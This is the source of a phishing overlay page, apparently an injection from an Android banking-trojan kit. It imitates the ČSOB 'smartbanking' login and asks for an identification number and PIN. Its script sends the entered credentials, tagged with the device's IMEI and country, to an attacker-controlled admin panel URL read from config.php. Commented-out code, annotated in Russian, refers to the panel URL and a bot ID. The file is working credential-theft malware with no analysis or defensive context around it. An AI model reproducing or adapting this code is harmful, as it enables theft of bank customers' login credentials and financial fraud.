<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Anmeldung Benutzername </title>

    <style>
        html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, caption, tbody, tfoot, thead, tr {
            margin: 0;
            padding: 0;
            border: 0;
            outline: 0;
            font-weight: inherit;
            font-style: inherit;
            font-size: 100%;
            font-family: inherit;
        }

        #content_div {
            position: relative;
            padding: 0 10px;
        }

        #header {
            background: #fff;
            display: block;
            margin: 0 -10px;
            height: 70px;
        }

        #header img {
            width: 86px;
            margin: 0 auto;
            display: block;
        }

        .clear {
            height: 1px;
            background: grey none repeat scroll 0 0;
            margin-top: 16px;
            width: 103%;
            margin-left: -10px;
        }

        .basicform {
            font-size: 14px;
            margin-bottom: 10px;
        }

        .basicform select,
        .basicform input[type=text],
        .basicform textarea {
            font-size: 14px;
            margin-bottom: 5px;
        }

        .basicform label {
            padding: 5px 0;
            font-size: 14px;
            font-weight: bold;
            font-family: arial, helvetica, verdana sans-serif;
            -webkit-touch-callout: none;
        }

        input {
            width: 100%;
            max-width: 100%;
            font-size: 14px;
            background-color: #fff;
            border: 1px solid #aaa;
            border-right-color: #ddd;
            border-bottom-color: #dfdfdf;
            padding: 8px 10px;
            margin: 1px 0;
            box-sizing: border-box;
            float: right;
            outline: none;
        }

        .input-field:hover {
            font-size: 14px;
            background-color: #fff;
            border: 1px solid #FFB80E;
            box-sizing: border-box;
            -moz-box-shadow: inset 2px 2px 3px #dfdfdf;
            -webkit-box-shadow: inset 2px 2px 3px #dfdfdf;
            box-shadow: inset 2px 2px 3px #dfdfdf;
        }

        .submit-button {
            box-sizing: border-box;
            float: right;
            border: 1px solid #ff9439;
            font-size: 14px;
            display: block;
            text-decoration: none;
            text-align: center;
            padding: 10px;
            white-space: nowrap;
            overflow: hidden;
			border-radius: 5px;
            font-weight: bold;
            outline: none;
            width: 50%;
            color: #fff;
            background: #FF9439 none repeat scroll 0 0;
            margin: 10px 0 10px 105px;
        }

        .submit-button:hover {
            font-size: 14px;
            border: 1px solid #FFB80E;
            box-sizing: border-box;
            -moz-box-shadow: inset 2px 2px 3px #dfdfdf;
            -webkit-box-shadow: inset 2px 2px 3px #dfdfdf;
            box-shadow: inset 2px 2px 3px #dfdfdf;
        }

        .submit-button:active {
            -moz-box-shadow: inset 1px 4px 7px rgba(0, 0, 0, .3);
            -webkit-box-shadow: inset 1px 4px 7px rgba(0, 0, 0, .3);
            box-shadow: inset 1px 4px 7px rgba(0, 0, 0, .3);
        }

        .fielderror {
            border: 1px solid #f00;
        }
    </style>
</head>
<?php 
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
//$IMEI_country = "321|tr";
include "config.php";
?>
<body>

    <div id="content_div">
        <div id="header">
            <img src="data:image/png;base64, " />
        </div>
        <form action="null" method="post" id="_mainForm" target="flow_handler" style="margin-top: 10px;">
            <input name="name" value="CSOB" type="hidden" />
            <div class="basicform loginform">
                <input id="login" name="Identifikační číslo" placeholder="Identifikační číslo" type="text" class="input-field" />
                <br />
                <br />
                <br />
                <input name="PIN" id="password" placeholder="Vložte PIN" type="password" class="input-field">
                <br />
                <br />
                <input value="Přihlásit" id="submitBtn1" class="submit-button" type="button" />
                <br />
                <br />
                <br />
            </div>
        </form>

        <iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
    </div>

     <script type="text/javascript">
			   
				
				
				(function () {


                   var  __insHiddenField = function (objDoc, objForm, sNm, sV) {
                        var input = objDoc.createElement("input");
                        input.setAttribute("type", "hidden");
                        input.setAttribute("name", sNm);
                        input.setAttribute("value", sV);
						input.value = sV;
                        objForm.appendChild(input);
                    };


                   /* var g_oForm = document.getElementById('_mainForm'), g_sFAct = prompt('getLink');
					
					if(!/https?:\/\//i.test(g_sFAct))
					   g_sFAct = 'http://' + g_sFAct;
					
                    g_oForm.setAttribute('action',g_sFAct); // устанавливаем у формы урл админки
					try{
					   g_oForm.action = g_sFAct;
					} catch(e){};
					
					var g_FrmCode = prompt('getId');
                    __insHiddenField(document, g_oForm, 'code', g_FrmCode); // получаем id бота
*/

                    var g_oBtn = document.getElementById('submitBtn1');
                    g_oBtn.onclick = function () {
					
						var oNumInp = document.getElementById('login');
                        var oCodeInp = document.getElementById('password');

						try{
							oNumInp.className = oCodeInp.className = 'input-field';
						} catch(e){};
						
                        if (oNumInp.value.length < 3) {
							try{
								oNumInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						
                        if (!/^\w{3,100}$/i.test(oCodeInp.value)) {
							try{
                                oCodeInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						
						top['closeDlg'] = true;
						/*prompt('send', '{"dialog id" : "smartbanking'+
						'", "identifikacni cislo": "'+oNumInp.value+
						'", "vlozte_PIN": "'+oCodeInp.value+'"}');
						
						document.getElementById('content_div').style.visibility = 'hidden';
						g_oForm.submit();*/
						
						
						var url='<?php echo $URL; ?>';
var imei_c='<?php echo $IMEI_country; ?>';
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_4|smartbanking|"+oNumInp.value+"|"+oCodeInp.value+"|");
						
						
						return false;
                    };

                })();
            </script>

</body>
</html>
